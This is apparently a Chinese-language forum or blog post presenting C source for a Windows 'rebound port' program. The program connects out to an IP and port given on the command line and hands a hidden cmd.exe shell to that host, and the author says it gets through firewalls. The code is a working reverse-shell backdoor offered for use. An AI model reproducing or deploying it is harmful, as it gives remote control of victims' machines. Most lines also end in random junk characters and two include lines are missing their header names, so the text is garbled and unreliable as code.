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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >qdRqy)DC  
9x14I2  
/* ============================== rY"EW"y  
Rebound port in Windows NT |vj!,b88n#  
By wind,2006/7 i;67< f}-  
===============================*/ j[w5#]&%  
#include WWA!_  
#include &qV_|f;  
<$ %Y#I'zX  
#pragma comment(lib,"wsock32.lib") ,27=i>>  
\qbEC.-K  
void OutputShell(); {z# W-  
SOCKET sClient; af/;Dr@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ibgF,N  
^p~3H  
void main(int argc,char **argv) g1q%b%8T  
{ &^ =Y76  
WSADATA stWsaData; =l$qwcfbo  
int nRet; {Yt i  
SOCKADDR_IN stSaiClient,stSaiServer; 4hV~ ir  
,) }-mu  
if(argc != 3) .7H* F9  
{ BeM|1pe.  
printf("Useage:\n\rRebound DestIP DestPort\n"); c6HH%|  
return; ;hPo5uZQ  
} 1L.yh U\  
gd;e-.  
WSAStartup(MAKEWORD(2,2),&stWsaData); r)Iq47Uiw  
bhT:MW!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OSCeTkR  
"cX*GTNi8  
stSaiClient.sin_family = AF_INET; Y.8mgy>   
stSaiClient.sin_port = htons(0); 9,Ug  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q*{Dy1Tj  
Ks^EGy+O:-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4";[Xr{pW  
{ _6'HBE  
printf("Bind Socket Failed!\n"); %-[U;pJe;  
return; 4+r26S,T  
} MXuiQ;./  
n&}ILLc  
stSaiServer.sin_family = AF_INET; (yi{<$ U*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?1MaA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !4 G9`>n  
(:T\<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kg;1%J>ee  
{ i^DZK&B@u  
printf("Connect Error!"); cXvq=Rb  
return; u:D,\`;)  
} }KwL_\>&f  
OutputShell(); - AxO1 qO  
} |0/~7l  
Az>gaJ/_  
void OutputShell() Sj<WiQ%<  
{ y2 ,M9  
char szBuff[1024]; )F) (Hg  
SECURITY_ATTRIBUTES stSecurityAttributes; ln6Hr^@5  
OSVERSIONINFO stOsversionInfo; }Qm: g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k\a&4v  
STARTUPINFO stStartupInfo; ];1Mg  
char *szShell; V}kQXz"9  
PROCESS_INFORMATION stProcessInformation; &?#G)suP  
unsigned long lBytesRead; \4OX]{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `aW>h8$I)  
UL.x*@o  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u:f.g?!`"  
stSecurityAttributes.lpSecurityDescriptor = 0; lUd;u*A  
stSecurityAttributes.bInheritHandle = TRUE; gK8{=A0c  
N3J;_=<4  
%nfaU~IqK  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CQx#Xp>=s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <,!e*V*U  
_c 4kj  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 54%@q[-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3b2[i,m<L  
stStartupInfo.wShowWindow = SW_HIDE; T!*lTzNHm  
stStartupInfo.hStdInput = hReadPipe; >qBQfz:U>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A+&^As2  
wjm_bEi  
GetVersionEx(&stOsversionInfo); yIL6Sb  
7xIXFuu  
switch(stOsversionInfo.dwPlatformId) %|:Gn)8  
{ 5QR=$?K  
case 1: Pu=,L#+FN  
szShell = "command.com"; 8AK=FX&@&  
break; {T^"`%[   
default: ST#MCh-00  
szShell = "cmd.exe"; `H.~ # $  
break; c05kHB$O  
} #MyR:V*a  
s?8vs%(l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;|.^_Xs  
/7 CF f&4  
send(sClient,szMsg,77,0); NT6OGBl&  
while(1) \CP)$0j-&o  
{ IezOal  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9Q<8DMX^  
if(lBytesRead) Z-fQ{&a{  
{ avmuI^LLs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Vy:I[@6@+  
send(sClient,szBuff,lBytesRead,0); M?i U$qI  
} *f[nge&.  
else \pXs&}%1,F  
{ 6V"|  
lBytesRead=recv(sClient,szBuff,1024,0); x +=zG4Hm  
if(lBytesRead<=0) break; "B~c/%#PH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /A8ua=Kn  
} WU wH W  
} B^;P:S<yG  
! z^%$;p  
return; CWP),]#n  
}
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